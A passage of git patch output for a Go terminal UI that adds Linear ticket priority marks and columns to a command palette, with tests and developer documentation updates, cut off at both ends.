"Todo", "unstarted", 1, 2), + mkWithPriority("BRZ-low", "Todo", "unstarted", 1, 4), + } + sort.SliceStable(nodes, func(a, b int) bool { + ra, rb := stateTypeRank(nodes[a].stateType()), stateTypeRank(nodes[b].stateType()) + if ra != rb { + return ra < rb + } + if pa, pb := nodes[a].statePosition(), nodes[b].statePosition(); pa != pb { + return pa < pb + } + return PriorityRank(nodes[a].Priority) < PriorityRank(nodes[b].Priority) + }) + + var got []string + for _, n := range nodes { + got = append(got, n.Identifier) + } + want := []string{"BRZ-urgent", "BRZ-high-a", "BRZ-high-b", "BRZ-low", "BRZ-none"} + for i := range want { + if got[i] != want[i] { + t.Fatalf("order = %v, want %v", got, want) + } + } + // high-a before high-b is the recency tiebreak surviving: they entered in + // that order and a stable sort must not disturb it. +} diff --git a/internal/ui/palette_tickets.go b/internal/ui/palette_tickets.go index d87d07c6..7301d720 100644 --- a/internal/ui/palette_tickets.go +++ b/internal/ui/palette_tickets.go @@ -123,10 +123,16 @@ func (h *Home) ticketPaletteItems(tickets []linear.Ticket) []PaletteItem { items := make([]PaletteItem, 0, len(tickets)) for _, t := range tickets { + // The list is sorted by priority, so priority has to be visible: + // ordering on an invisible key reads as arbitrary. Only urgent and high + // are marked — labelling all fifty rows is the density we just cut, and + // blank-is-normal matches how the badge column already works. Shape, + // never colour: the status dot owns colour in this list. + name := fmt.Sprintf("%-2s %-*s %s", priorityMark(t.Priority), idWidth, t.Identifier, t.Title) it := PaletteItem{ Kind: PaletteKindTicket, ID: t.Identifier, - Name: fmt.Sprintf("%-*s %s", idWidth, t.Identifier, t.Title), + Name: name, // The Linear state is the group header, so it is deliberately NOT // repeated on every row. The right column carries what fleet knows // instead — and stays empty when there is nothing to say. @@ -135,7 +141,7 @@ func (h *Home) ticketPaletteItems(tickets []linear.Ticket) []PaletteItem { // renderer maps matched haystack indexes back onto those two // strings by offset. Composing it any other way lights up the // wrong characters. - Haystack: fmt.Sprintf("%-*s %s %s", idWidth, t.Identifier, t.Title, t.StateName), + Haystack: name + " " + t.StateName, } if s := byTicket[t.Identifier]; s != nil { it.HasSession = true @@ -150,6 +156,19 @@ func (h *Home) ticketPaletteItems(tickets []linear.Ticket) []PaletteItem { return items } +// priorityMark renders Linear's priority as shape. Empty for medium, low and +// unset, so the marks at the top of a group stand out instead of every row +// carrying one. +func priorityMark(p int) string { + switch p { + case 1: + return "!!" + case 2: + return "!" + } + return "" +} + // openTicketFromPalette acts on a chosen ticket. // // Two outcomes, and which one you get is decided by the filesystem rather than diff --git a/internal/ui/palette_tickets_test.go b/internal/ui/palette_tickets_test.go index d0957dbe..25082e22 100644 --- a/internal/ui/palette_tickets_test.go +++ b/internal/ui/palette_tickets_test.go @@ -262,3 +262,56 @@ func TestFilteredTicketsKeepTheirState(t *testing.T) { t.Errorf("a filtered row must carry its state, since no header does:\n%s", got) } } + +// TestPriorityIsVisibleBecauseItIsSorted: the list orders by priority, so +// priority has to show. Ordering on an invisible key reads as arbitrary. +// +// Only urgent and high are marked — labelling all fifty rows is the density +// this view was trimmed to avoid, and blank-is-normal matches how the badge +// column already works. +func TestPriorityIsVisibleBecauseItIsSorted(t *testing.T) { + h := ticketHome(t) + h.commandPalette.SetSize(120, 40) + h.commandPalette.ShowOnTab(h.buildPaletteItems(), nil, PaletteTabTickets) + h.commandPalette.SetTickets(h.ticketPaletteItems([]linear.Ticket{ + {Identifier: "BRZ-1", Title: "urgent one", StateName: "Todo", StateType: "unstarted", Priority: 1}, + {Identifier: "BRZ-2", Title: "high one", StateName: "Todo", StateType: "unstarted", Priority: 2}, + {Identifier: "BRZ-3", Title: "medium one", StateName: "Todo", StateType: "unstarted", Priority: 3}, + {Identifier: "BRZ-4", Title: "unset one", StateName: "Todo", StateType: "unstarted", Priority: 0}, + })) + + got := renderedPalette(t, h) + rows := map[string]string{} + for _, line := range strings.Split(got, "\n") { + for _, id := range []string{"BRZ-1", "BRZ-2", "BRZ-3", "BRZ-4"} { + if strings.Contains(line, id+" ") { + rows[id] = line + } + } + } + if !strings.Contains(rows["BRZ-1"], "!!") { + t.Errorf("urgent must be marked: %q", rows["BRZ-1"]) + } + if !strings.Contains(rows["BRZ-2"], "!") || strings.Contains(rows["BRZ-2"], "!!") { + t.Errorf("high must be marked once: %q", rows["BRZ-2"]) + } + for _, id := range []string{"BRZ-3", "BRZ-4"} { + if strings.Contains(rows[id], "!") { + t.Errorf("%s is medium/unset and must carry no mark: %q", id, rows[id]) + } + } + + // The mark is shape, not colour: colour in this list means session status + // and adding a second colour language would make neither readable. + raw := h.commandPalette.View() + for _, line := range strings.Split(raw, "\n") { + if strings.Contains(ansi.Strip(line), "urgent one") && strings.Contains(line, "38;2") { + // The row may be styled as a whole; what must not happen is the + // mark carrying its own colour distinct from the title's. + plain := ansi.Strip(line) + if strings.Index(plain, "!!") > strings.Index(plain, "BRZ-1") { + t.Error("the mark should precede the identifier") + } + } + } +} From b68700d38511a036a10de8e48cdd88f6f45fbde2 Mon Sep 17 00:00:00 2001 From: Yuval Hayke Date: Tue, 18 Aug 2026 18:29:40 +0300 Subject: [PATCH 14/23] fix(ui): give priority its own column, and colour it MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Two problems, one cause: the priority mark was baked into the row's name. Baked in, it could not be styled — so a list sorted by priority showed that priority in the same flat colour as everything else. It is now red for urgent and orange for high. That reverses the rule the first cut argued for, that the status dot owns colour in this list outright. With real data that rule was protecting a column only three of fifty rows ever filled, while leaving the other forty-seven uniformly flat. Red and orange sit in a different column from the dot's green/blue/amber and mean a different kind of urgency, so they read as a second axis rather than a confused one. Baked in, it also could not be omitted — so the mixed tab gained a lead column no other kind had, and every ticket title sat four columns right of every command and worktree row. The column is now rendered only where every row is a ticket, and names line up again. Co-Authored-By: Claude Opus 5 Claude-Session: https://claude.ai/code/session_01WBQUYTfR7kzUjgozd58mr6 --- CLAUDE.md | 2 +- internal/ui/command_palette.go | 42 ++++++++++++++++++++++++++-- internal/ui/palette_tickets.go | 31 ++++++--------------- internal/ui/palette_tickets_test.go | 43 +++++++++++++++++++++++++++++ 4 files changed, 92 insertions(+), 26 deletions(-) diff --git a/CLAUDE.md b/CLAUDE.md index 01801c60..43298473 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -154,7 +154,7 @@ chrome-extension/ # Chrome MV3 extension (service worker, manifes - Lookups are **debounced (250ms) and generation-guarded**, never per keystroke. Without the generation counter, typing `BRZ-3182` then editing to `BRZ-3184` lets the slower first reply overwrite the field with the wrong ticket's branch name, which then becomes a real git branch (`TestWorktreeStaleTicketReplyIgnored`). The counter is **monotonic and never reset to 0**, unlike `ConfirmDialog.scanGen` — that one lives on `Home` and never recycles; a per-dialog counter reset to zero would let a reply from a previous open match a new one. `d.loading` is deliberately not used for ticket lookups: it swallows every key but `esc`. - Degradation is structural: no credential, no team, rejected key, offline, unknown id, or nothing matching — every case leaves Enter working and the dialog usable (`TestWorktreeEnterAlwaysCreates`). `ErrNotConnected` is the resting state for everyone who never connected and is **never surfaced as an error**; `ErrNotAuthenticated` is, because it names a thing to fix. Persistent failures latch (`ticketsOff`) so a broken credential isn't re-spent on every pause. Once the worktree exists nothing may fail the caller: `Materialize` sits beside `copyClaudeSettingsFile` and `CopyConfiguredFiles` and shares their posture, and a failed fetch costs the prompt, never the session. - Connect dialog (`internal/ui/connect_linear.go`): a two-row method chooser, then a browser round trip or a **masked** input. A pasted key is **verified before it is stored** (one `viewer`/`organization`/`teams` query), so "connected" is a fact rather than a hope and a typo is caught while the user is still looking at the field they typed it into. It then names the workspace's team keys and shows the exact `.fleet.local.json` line that turns a repo on — the per-repo step is the one people miss, and `.local` is the right file because team membership is personal and `.fleet.json` is committed. Discovery is a `tipOnce` firing when a session's branch matches the generic `-` shape **and** nothing is connected — deliberately *not* `IdentifierFromBranch`, which is gated on team keys nobody has configured yet at the moment the tip should fire; a false positive costs one dismissible hint, since the tip only offers and never fetches. -- **My tickets is a tab in the command palette, not a new dialog** (`internal/ui/palette_tickets.go`; `t` opens straight onto it, `Ctrl+K` reaches it by cycling). The palette already had tabs (`paletteTabOrder`, `cycleTab`), so this is the existing surface rather than a fourth full-screen view — and typing narrows 50 rows, which is why the whole open assigned list is fine here where it would be noise in a static list. **The rows carry the join, which is the only thing this shows that Linear cannot**: which tickets already have a worktree and what that session is doing. Team keys are derived from the identifiers themselves (the prefix *is* the team), so it needs no repo config and spans every repo on screen. When several sessions share a worktree the row reports the one that most wants you (`ticketSessionRank`), never whichever came first. Enter jumps to the session if one exists, else opens the ordinary `w` dialog with the identifier prefilled (`PrefillTicket`, `pendingTicketID` consumed exactly once) — so the repo and base branch are still confirmed on the screen that always confirms them, and a ticket becomes a branch name by only one code path. Ordering is by state **type**, then **position**, then **priority**, with the server's `updatedAt` surviving as the tiebreak: type survives a team renaming its states, position puts *In Progress* above *In Review*, and recency has to remain underneath priority because most of a real backlog shares one priority (21 of 50 in the workspace this was built against were High) — priority alone would leave that block reordering itself between opens. `PriorityRank` exists because the raw number cannot be sorted on: Linear uses **0 for "not set"**, so ascending order would float every unprioritised ticket above the urgent ones. Because the list sorts on priority, priority is **shown** — `!!` urgent, `!` high, blank otherwise; ordering on an invisible key reads as arbitrary, and marking all fifty rows is the density this view was trimmed to avoid. Shape rather than colour, since the status dot owns colour here. Rows are **grouped under the state with a count** when nothing is typed, so the state is never repeated on every row; typing drops the headers and folds the state back onto the row, since nothing else would carry it. The badge column is chosen by **tab, not by kind**: inside the tickets tab every row is a ticket, so `tkt` would say nothing and the column instead answers *is this in fleet* with the sidebar's own dot and colour, blank meaning no worktree — absence should read as absence down the column. In the mixed `all` tab that same blank reads as a missing badge, so there it is a plain `tkt` label. The status is carried by the dot and **never repeated as a word**: printing `suspended` at the far right said the same thing twice and ate the width the title needed. Identifiers pad to a common width so titles start in one column. Colour therefore means session status and only that, the same discipline that keeps agent glyphs monochrome. `Haystack` must be exactly `Name + " " + `: the renderer maps matched indexes back onto those two strings by offset, so composing it any other way highlights the wrong characters. The palette's name column is now budgeted against the widest *right* column rather than a fixed 22-rune cap, which was truncating titles to `Storage opt…` on a terminal with room to spare. Fetched when the palette opens and never polled; `Ctrl+K` costs nothing at all when Linear isn't connected. +- **My tickets is a tab in the command palette, not a new dialog** (`internal/ui/palette_tickets.go`; `t` opens straight onto it, `Ctrl+K` reaches it by cycling). The palette already had tabs (`paletteTabOrder`, `cycleTab`), so this is the existing surface rather than a fourth full-screen view — and typing narrows 50 rows, which is why the whole open assigned list is fine here where it would be noise in a static list. **The rows carry the join, which is the only thing this shows that Linear cannot**: which tickets already have a worktree and what that session is doing. Team keys are derived from the identifiers themselves (the prefix *is* the team), so it needs no repo config and spans every repo on screen. When several sessions share a worktree the row reports the one that most wants you (`ticketSessionRank`), never whichever came first. Enter jumps to the session if one exists, else opens the ordinary `w` dialog with the identifier prefilled (`PrefillTicket`, `pendingTicketID` consumed exactly once) — so the repo and base branch are still confirmed on the screen that always confirms them, and a ticket becomes a branch name by only one code path. Ordering is by state **type**, then **position**, then **priority**, with the server's `updatedAt` surviving as the tiebreak: type survives a team renaming its states, position puts *In Progress* above *In Review*, and recency has to remain underneath priority because most of a real backlog shares one priority (21 of 50 in the workspace this was built against were High) — priority alone would leave that block reordering itself between opens. `PriorityRank` exists because the raw number cannot be sorted on: Linear uses **0 for "not set"**, so ascending order would float every unprioritised ticket above the urgent ones. Because the list sorts on priority, priority is **shown** — `!!` urgent in red, `!` high in orange, blank otherwise; ordering on an invisible key reads as arbitrary, and marking all fifty rows is the density this view was trimmed to avoid. It rides in a **column of its own, not inside `Name`**, for two reasons: a column can be coloured, and a column can be omitted — and it *is* omitted in the mixed `all` tab, where a lead column no other kind has pushed every ticket title four columns right of every command and worktree. Colouring it reverses an earlier rule that the status dot owned colour outright; with real data that rule protected a column only a handful of rows ever fill while leaving fifty rows uniformly flat, and red/orange sit in a different column from the dot's green/blue/amber and mean a different kind of urgency. Rows are **grouped under the state with a count** when nothing is typed, so the state is never repeated on every row; typing drops the headers and folds the state back onto the row, since nothing else would carry it. The badge column is chosen by **tab, not by kind**: inside the tickets tab every row is a ticket, so `tkt` would say nothing and the column instead answers *is this in fleet* with the sidebar's own dot and colour, blank meaning no worktree — absence should read as absence down the column. In the mixed `all` tab that same blank reads as a missing badge, so there it is a plain `tkt` label. The status is carried by the dot and **never repeated as a word**: printing `suspended` at the far right said the same thing twice and ate the width the title needed. Identifiers pad to a common width so titles start in one column. Colour therefore means session status and only that, the same discipline that keeps agent glyphs monochrome. `Haystack` must be exactly `Name + " " + `: the renderer maps matched indexes back onto those two strings by offset, so composing it any other way highlights the wrong characters. The palette's name column is now budgeted against the widest *right* column rather than a fixed 22-rune cap, which was truncating titles to `Storage opt…` on a terminal with room to spare. Fetched when the palette opens and never polled; `Ctrl+K` costs nothing at all when Linear isn't connected. - `fleet worktree --ticket ` (`-t`) mirrors the TUI and names the branch when no branch is given. **Conflicts with `-p`** — both set the first message and say opposite things — but is **allowed with `--no-session`**, unlike `-p`: a promptless session is meaningless, a materialized git-excluded ticket directory is not. A bad identifier fails *before* anything is created, the same line `-p -` draws. - Git info refreshes every 2s (branch/dirty), PR info every 60s via `gh` CLI - PR badge: green ✓ (approved+CI passed), yellow (pending), red ✕ (CI fail) / ↩ (changes requested or unresolved threads), purple ⇡ (merged), gray ◌ (draft; ✕ appended on CI fail), hidden (closed) diff --git a/internal/ui/command_palette.go b/internal/ui/command_palette.go index 16acfbf6..7bbab2c9 100644 --- a/internal/ui/command_palette.go +++ b/internal/ui/command_palette.go @@ -50,6 +50,13 @@ type PaletteItem struct { // (ticket rows only — their Linear state). Empty means no section. Group string + // Priority is the row's Linear priority (1 urgent … 4 low, 0 unset). It is + // rendered in a column of its own rather than baked into Name for two + // reasons: a column can be coloured, and a column can be omitted. In the + // mixed tab it IS omitted, because a lead column no other kind has would + // push every ticket title out of line with every command and worktree. + Priority int + // SessionStatus is the status of the fleet session already working this // row, and HasSession says whether there is one at all. They are separate // because a zero Status is a real status, and "no session" has to be @@ -387,8 +394,12 @@ func (d *CommandPaletteDialog) View() string { end = len(d.filtered) } - // Column layout: [prefix 2][badge 4][sep 1][name N][gap 2][right] - const reserved = 2 + paletteBadgeWidth + 1 + 2 + // Column layout: [prefix 2][badge 4][sep 1][lead L][name N][gap 2][right] + leadCol := 0 + if d.activeTab == PaletteTabTickets { + leadCol = paletteLeadWidth + } + reserved := 2 + paletteBadgeWidth + 1 + leadCol + 2 // Measure BOTH columns and give the name whatever the right column // genuinely needs left over, rather than capping it at a constant. A @@ -499,7 +510,11 @@ func (d *CommandPaletteDialog) View() string { } right = truncRunes(right, rightBudget) - b.WriteString(prefix + badge + " " + name) + lead := "" + if leadCol > 0 { + lead = renderPriorityLead(it.Priority) + } + b.WriteString(prefix + badge + " " + lead + name) if selected { // Carry the fill across the gap and the right column, padded to // the row, so the selection is one continuous band. @@ -623,6 +638,27 @@ func sessionBadgeGlyph(st session.Status) (string, lipgloss.Style) { return "○", DimStyle } +// paletteLeadWidth is the priority column: two glyphs plus a space. +const paletteLeadWidth = 3 + +// renderPriorityLead marks urgent and high, and nothing else. +// +// Coloured, and that is a deliberate reversal: the first cut left this the same +// colour as the title on the grounds that the status dot owns colour in this +// list. With real data that rule was protecting a column only a handful of rows +// ever fill, while leaving fifty rows uniformly flat. Red and orange sit in a +// different column from the dot's green/blue/amber and mean a different kind of +// urgency, so the two read as separate axes rather than as one confused one. +func renderPriorityLead(priority int) string { + switch priority { + case 1: + return lipgloss.NewStyle().Foreground(ColorRed).Bold(true).Render(pad("!!", paletteLeadWidth)) + case 2: + return lipgloss.NewStyle().Foreground(ColorOrange).Render(pad("!", paletteLeadWidth)) + } + return strings.Repeat(" ", paletteLeadWidth) +} + // pad right-pads to a rune width. func pad(s string, w int) string { if n := runeLen(s); n < w { diff --git a/internal/ui/palette_tickets.go b/internal/ui/palette_tickets.go index 7301d720..6e7ba366 100644 --- a/internal/ui/palette_tickets.go +++ b/internal/ui/palette_tickets.go @@ -123,16 +123,16 @@ func (h *Home) ticketPaletteItems(tickets []linear.Ticket) []PaletteItem { items := make([]PaletteItem, 0, len(tickets)) for _, t := range tickets { - // The list is sorted by priority, so priority has to be visible: - // ordering on an invisible key reads as arbitrary. Only urgent and high - // are marked — labelling all fifty rows is the density we just cut, and - // blank-is-normal matches how the badge column already works. Shape, - // never colour: the status dot owns colour in this list. - name := fmt.Sprintf("%-2s %-*s %s", priorityMark(t.Priority), idWidth, t.Identifier, t.Title) + // Priority rides in its own column (see PaletteItem.Priority), NOT in + // the name: baked into the name it could not be coloured, and it pushed + // every ticket title out of line with every command and worktree row in + // the mixed tab. + name := fmt.Sprintf("%-*s %s", idWidth, t.Identifier, t.Title) it := PaletteItem{ - Kind: PaletteKindTicket, - ID: t.Identifier, - Name: name, + Kind: PaletteKindTicket, + ID: t.Identifier, + Name: name, + Priority: t.Priority, // The Linear state is the group header, so it is deliberately NOT // repeated on every row. The right column carries what fleet knows // instead — and stays empty when there is nothing to say. @@ -156,19 +156,6 @@ func (h *Home) ticketPaletteItems(tickets []linear.Ticket) []PaletteItem { return items } -// priorityMark renders Linear's priority as shape. Empty for medium, low and -// unset, so the marks at the top of a group stand out instead of every row -// carrying one. -func priorityMark(p int) string { - switch p { - case 1: - return "!!" - case 2: - return "!" - } - return "" -} - // openTicketFromPalette acts on a chosen ticket. // // Two outcomes, and which one you get is decided by the filesystem rather than diff --git a/internal/ui/palette_tickets_test.go b/internal/ui/palette_tickets_test.go index 25082e22..7b3c2ee8 100644 --- a/internal/ui/palette_tickets_test.go +++ b/internal/ui/palette_tickets_test.go @@ -315,3 +315,46 @@ func TestPriorityIsVisibleBecauseItIsSorted(t *testing.T) { } } } + +// TestPriorityColumnOnlyInTheTicketsTab pins the alignment. +// +// The priority mark started life baked into Name, which meant the mixed tab +// gained a lead column no other kind had — every ticket title sat four columns +// right of every command and worktree, and the list read as broken. It is a +// column of its own now, rendered only where every row is a ticket. +func TestPriorityColumnOnlyInTheTicketsTab(t *testing.T) { + h := ticketHome(t) + h.commandPalette.SetSize(120, 40) + h.commandPalette.ShowOnTab(h.buildPaletteItems(), nil, PaletteTabTickets) + h.commandPalette.SetTickets(h.ticketPaletteItems([]linear.Ticket{ + {Identifier: "BRZ-2124", Title: "The magic fix button", StateName: "In Review", StateType: "started", Priority: 2}, + })) + + // In the tickets tab the mark shows. + if got := renderedPalette(t, h); !strings.Contains(got, "!") { + t.Errorf("the tickets tab must show the priority mark:\n%s", got) + } + + // In the mixed tab it must not, and ticket names must start in the same + // column as command names. + h.commandPalette.activeTab = PaletteTabAll + h.commandPalette.filterInput.SetValue("magic") + h.commandPalette.rebuildFiltered() + got := renderedPalette(t, h) + + var ticketLine string + for _, line := range strings.Split(got, "\n") { + if strings.Contains(line, "BRZ-2124") { + ticketLine = line + } + } + if ticketLine == "" { + t.Fatalf("expected the ticket to match 'magic':\n%s", got) + } + if strings.Contains(ticketLine, "!") { + t.Errorf("the mixed tab must not carry the priority column: %q", ticketLine) + } + if !strings.Contains(ticketLine, "tkt BRZ-2124") { + t.Errorf("ticket names must start right after the badge, like every other kind: %q", ticketLine) + } +} From 13ad920e0a0058acbccf5a07faffeb9c056a7509 Mon Sep 17 00:00:00 2001 From: Yuval Hayke Date: Tue, 18 Aug 2026 19:23:29 +0300 Subject: [PATCH 15/23] fix(ui): carry ticket state and priority in the mixed tab MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The tickets tab gives the state a group header and the priority a column of its own. Neither exists in a mixed list, so a ticket row there showed its title and nothing else — no state, no priority. Both now go in the right column, which that tab already had free. Fixes a second bug found while rendering it: state grouping was applied regardless of tab, so an unfiltered mixed list sprouted "Todo" and "Backlog" headers above runs of commands they had nothing to do with. Grouping is now tickets-tab-only, with a test that the headers are absent there and present here. Co-Authored-By: Claude Opus 5 Claude-Session: https://claude.ai/code/session_01WBQUYTfR7kzUjgozd58mr6 --- CLAUDE.md | 2 +- internal/ui/command_palette.go | 54 +++++++++++++++++++++++------ internal/ui/palette_tickets_test.go | 54 +++++++++++++++++++++++++++++ 3 files changed, 98 insertions(+), 12 deletions(-) diff --git a/CLAUDE.md b/CLAUDE.md index 43298473..bc72f98b 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -154,7 +154,7 @@ chrome-extension/ # Chrome MV3 extension (service worker, manifes - Lookups are **debounced (250ms) and generation-guarded**, never per keystroke. Without the generation counter, typing `BRZ-3182` then editing to `BRZ-3184` lets the slower first reply overwrite the field with the wrong ticket's branch name, which then becomes a real git branch (`TestWorktreeStaleTicketReplyIgnored`). The counter is **monotonic and never reset to 0**, unlike `ConfirmDialog.scanGen` — that one lives on `Home` and never recycles; a per-dialog counter reset to zero would let a reply from a previous open match a new one. `d.loading` is deliberately not used for ticket lookups: it swallows every key but `esc`. - Degradation is structural: no credential, no team, rejected key, offline, unknown id, or nothing matching — every case leaves Enter working and the dialog usable (`TestWorktreeEnterAlwaysCreates`). `ErrNotConnected` is the resting state for everyone who never connected and is **never surfaced as an error**; `ErrNotAuthenticated` is, because it names a thing to fix. Persistent failures latch (`ticketsOff`) so a broken credential isn't re-spent on every pause. Once the worktree exists nothing may fail the caller: `Materialize` sits beside `copyClaudeSettingsFile` and `CopyConfiguredFiles` and shares their posture, and a failed fetch costs the prompt, never the session. - Connect dialog (`internal/ui/connect_linear.go`): a two-row method chooser, then a browser round trip or a **masked** input. A pasted key is **verified before it is stored** (one `viewer`/`organization`/`teams` query), so "connected" is a fact rather than a hope and a typo is caught while the user is still looking at the field they typed it into. It then names the workspace's team keys and shows the exact `.fleet.local.json` line that turns a repo on — the per-repo step is the one people miss, and `.local` is the right file because team membership is personal and `.fleet.json` is committed. Discovery is a `tipOnce` firing when a session's branch matches the generic `-` shape **and** nothing is connected — deliberately *not* `IdentifierFromBranch`, which is gated on team keys nobody has configured yet at the moment the tip should fire; a false positive costs one dismissible hint, since the tip only offers and never fetches. -- **My tickets is a tab in the command palette, not a new dialog** (`internal/ui/palette_tickets.go`; `t` opens straight onto it, `Ctrl+K` reaches it by cycling). The palette already had tabs (`paletteTabOrder`, `cycleTab`), so this is the existing surface rather than a fourth full-screen view — and typing narrows 50 rows, which is why the whole open assigned list is fine here where it would be noise in a static list. **The rows carry the join, which is the only thing this shows that Linear cannot**: which tickets already have a worktree and what that session is doing. Team keys are derived from the identifiers themselves (the prefix *is* the team), so it needs no repo config and spans every repo on screen. When several sessions share a worktree the row reports the one that most wants you (`ticketSessionRank`), never whichever came first. Enter jumps to the session if one exists, else opens the ordinary `w` dialog with the identifier prefilled (`PrefillTicket`, `pendingTicketID` consumed exactly once) — so the repo and base branch are still confirmed on the screen that always confirms them, and a ticket becomes a branch name by only one code path. Ordering is by state **type**, then **position**, then **priority**, with the server's `updatedAt` surviving as the tiebreak: type survives a team renaming its states, position puts *In Progress* above *In Review*, and recency has to remain underneath priority because most of a real backlog shares one priority (21 of 50 in the workspace this was built against were High) — priority alone would leave that block reordering itself between opens. `PriorityRank` exists because the raw number cannot be sorted on: Linear uses **0 for "not set"**, so ascending order would float every unprioritised ticket above the urgent ones. Because the list sorts on priority, priority is **shown** — `!!` urgent in red, `!` high in orange, blank otherwise; ordering on an invisible key reads as arbitrary, and marking all fifty rows is the density this view was trimmed to avoid. It rides in a **column of its own, not inside `Name`**, for two reasons: a column can be coloured, and a column can be omitted — and it *is* omitted in the mixed `all` tab, where a lead column no other kind has pushed every ticket title four columns right of every command and worktree. Colouring it reverses an earlier rule that the status dot owned colour outright; with real data that rule protected a column only a handful of rows ever fill while leaving fifty rows uniformly flat, and red/orange sit in a different column from the dot's green/blue/amber and mean a different kind of urgency. Rows are **grouped under the state with a count** when nothing is typed, so the state is never repeated on every row; typing drops the headers and folds the state back onto the row, since nothing else would carry it. The badge column is chosen by **tab, not by kind**: inside the tickets tab every row is a ticket, so `tkt` would say nothing and the column instead answers *is this in fleet* with the sidebar's own dot and colour, blank meaning no worktree — absence should read as absence down the column. In the mixed `all` tab that same blank reads as a missing badge, so there it is a plain `tkt` label. The status is carried by the dot and **never repeated as a word**: printing `suspended` at the far right said the same thing twice and ate the width the title needed. Identifiers pad to a common width so titles start in one column. Colour therefore means session status and only that, the same discipline that keeps agent glyphs monochrome. `Haystack` must be exactly `Name + " " + `: the renderer maps matched indexes back onto those two strings by offset, so composing it any other way highlights the wrong characters. The palette's name column is now budgeted against the widest *right* column rather than a fixed 22-rune cap, which was truncating titles to `Storage opt…` on a terminal with room to spare. Fetched when the palette opens and never polled; `Ctrl+K` costs nothing at all when Linear isn't connected. +- **My tickets is a tab in the command palette, not a new dialog** (`internal/ui/palette_tickets.go`; `t` opens straight onto it, `Ctrl+K` reaches it by cycling). The palette already had tabs (`paletteTabOrder`, `cycleTab`), so this is the existing surface rather than a fourth full-screen view — and typing narrows 50 rows, which is why the whole open assigned list is fine here where it would be noise in a static list. **The rows carry the join, which is the only thing this shows that Linear cannot**: which tickets already have a worktree and what that session is doing. Team keys are derived from the identifiers themselves (the prefix *is* the team), so it needs no repo config and spans every repo on screen. When several sessions share a worktree the row reports the one that most wants you (`ticketSessionRank`), never whichever came first. Enter jumps to the session if one exists, else opens the ordinary `w` dialog with the identifier prefilled (`PrefillTicket`, `pendingTicketID` consumed exactly once) — so the repo and base branch are still confirmed on the screen that always confirms them, and a ticket becomes a branch name by only one code path. Ordering is by state **type**, then **position**, then **priority**, with the server's `updatedAt` surviving as the tiebreak: type survives a team renaming its states, position puts *In Progress* above *In Review*, and recency has to remain underneath priority because most of a real backlog shares one priority (21 of 50 in the workspace this was built against were High) — priority alone would leave that block reordering itself between opens. `PriorityRank` exists because the raw number cannot be sorted on: Linear uses **0 for "not set"**, so ascending order would float every unprioritised ticket above the urgent ones. Because the list sorts on priority, priority is **shown** — `!!` urgent in red, `!` high in orange, blank otherwise; ordering on an invisible key reads as arbitrary, and marking all fifty rows is the density this view was trimmed to avoid. It rides in a **column of its own, not inside `Name`**, for two reasons: a column can be coloured, and a column can be omitted — and it *is* omitted in the mixed `all` tab, where a lead column no other kind has pushed every ticket title four columns right of every command and worktree. **Both of the tickets tab's dedicated columns vanish outside it** (the state's header and the priority's lead), so `ticketRightColumn` puts state and priority back into the right column there — otherwise a ticket in a mixed list shows nothing but its title. State grouping is likewise tickets-tab-only: a `Todo` header sitting above a run of commands would describe rows it has nothing to do with. Colouring it reverses an earlier rule that the status dot owned colour outright; with real data that rule protected a column only a handful of rows ever fill while leaving fifty rows uniformly flat, and red/orange sit in a different column from the dot's green/blue/amber and mean a different kind of urgency. Rows are **grouped under the state with a count** when nothing is typed, so the state is never repeated on every row; typing drops the headers and folds the state back onto the row, since nothing else would carry it. The badge column is chosen by **tab, not by kind**: inside the tickets tab every row is a ticket, so `tkt` would say nothing and the column instead answers *is this in fleet* with the sidebar's own dot and colour, blank meaning no worktree — absence should read as absence down the column. In the mixed `all` tab that same blank reads as a missing badge, so there it is a plain `tkt` label. The status is carried by the dot and **never repeated as a word**: printing `suspended` at the far right said the same thing twice and ate the width the title needed. Identifiers pad to a common width so titles start in one column. Colour therefore means session status and only that, the same discipline that keeps agent glyphs monochrome. `Haystack` must be exactly `Name + " " + `: the renderer maps matched indexes back onto those two strings by offset, so composing it any other way highlights the wrong characters. The palette's name column is now budgeted against the widest *right* column rather than a fixed 22-rune cap, which was truncating titles to `Storage opt…` on a terminal with room to spare. Fetched when the palette opens and never polled; `Ctrl+K` costs nothing at all when Linear isn't connected. - `fleet worktree --ticket ` (`-t`) mirrors the TUI and names the branch when no branch is given. **Conflicts with `-p`** — both set the first message and say opposite things — but is **allowed with `--no-session`**, unlike `-p`: a promptless session is meaningless, a materialized git-excluded ticket directory is not. A bad identifier fails *before* anything is created, the same line `-p -` draws. - Git info refreshes every 2s (branch/dirty), PR info every 60s via `gh` CLI - PR badge: green ✓ (approved+CI passed), yellow (pending), red ✕ (CI fail) / ↩ (changes requested or unresolved threads), purple ⇡ (merged), gray ◌ (draft; ✕ appended on CI fail), hidden (closed) diff --git a/internal/ui/command_palette.go b/internal/ui/command_palette.go index 7bbab2c9..10100c2e 100644 --- a/internal/ui/command_palette.go +++ b/internal/ui/command_palette.go @@ -254,10 +254,18 @@ func (d *CommandPaletteDialog) rebuildFiltered() { if _, ok := recentRank[it.ID]; ok { recents = append(recents, scoredItem{PaletteItem: it, recent: true}) } else { - // Sections only when nothing is typed. Grouping a fuzzy result - // is noise: the matches are already ordered by score, and - // headers would fragment ten rows into six sections. - rest = append(rest, scoredItem{PaletteItem: it, section: it.Group}) + // Sections only in the tickets tab, and only when nothing is + // typed. In the mixed tab a state header would sit above a + // run of commands it does not describe; and grouping a fuzzy + // result is noise, since matches are already ordered by score + // and headers would fragment ten rows into six sections. + sec := "" + if d.activeTab == PaletteTabTickets { + sec = it.Group + } else { + it.Detail = ticketRightColumn(it) + } + rest = append(rest, scoredItem{PaletteItem: it, section: sec}) } } sortRecents(recents, recentRank) @@ -279,7 +287,10 @@ func (d *CommandPaletteDialog) rebuildFiltered() { for _, m := range matches { it := tabItems[m.Index] if it.Group != "" { - it.Detail = joinDetail(it.Group, it.Detail) + // No headers while filtering, so the state comes back onto the + // row — with the priority beside it, since the tickets tab's + // priority column is not rendered here either. + it.Detail = ticketRightColumn(it) } d.filtered = append(d.filtered, scoredItem{ PaletteItem: it, @@ -683,13 +694,34 @@ func truncRunes(s string, maxRunes int) string { func runeLen(s string) int { return len([]rune(s)) } -// joinDetail combines a group label with a row detail for the filtered view, -// where there are no headers to carry the group. -func joinDetail(group, detail string) string { - if detail == "" { - return group +// ticketRightColumn is what a 